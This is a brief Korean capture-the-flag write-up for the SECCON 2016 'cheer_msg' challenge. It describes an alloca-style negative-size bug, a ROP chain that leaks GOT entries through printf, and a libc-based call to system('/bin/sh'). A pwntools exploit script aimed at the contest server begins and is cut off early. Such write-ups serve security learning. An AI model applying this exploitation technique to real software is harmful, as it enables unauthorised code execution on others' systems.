2016 seccon cheer_msg
St1tch
pwnablekr의 alloca랑 비슷한 문제였다. 값을 음수로 주게되면 입력buf의 주소를 조절할 수 있다. rop로 printf("~~%s~~%s~~~", got, got) 호출해서 got를 릭한다음 libc주어졌으니 실제주소구하고 printf 호출 뒤 다시 main으로 트리거해서 system("/bin/sh") 호출되게했다. from pwn import * local = False if local : s = process('./cheer_msg') print util.proc.pidof(s) pause() else : s = remote('cheermsg.pwn.seccon.jp', 30527) elf = ELF('cheer_msg') libc = ELF('libc') pop3ret = 0x8048..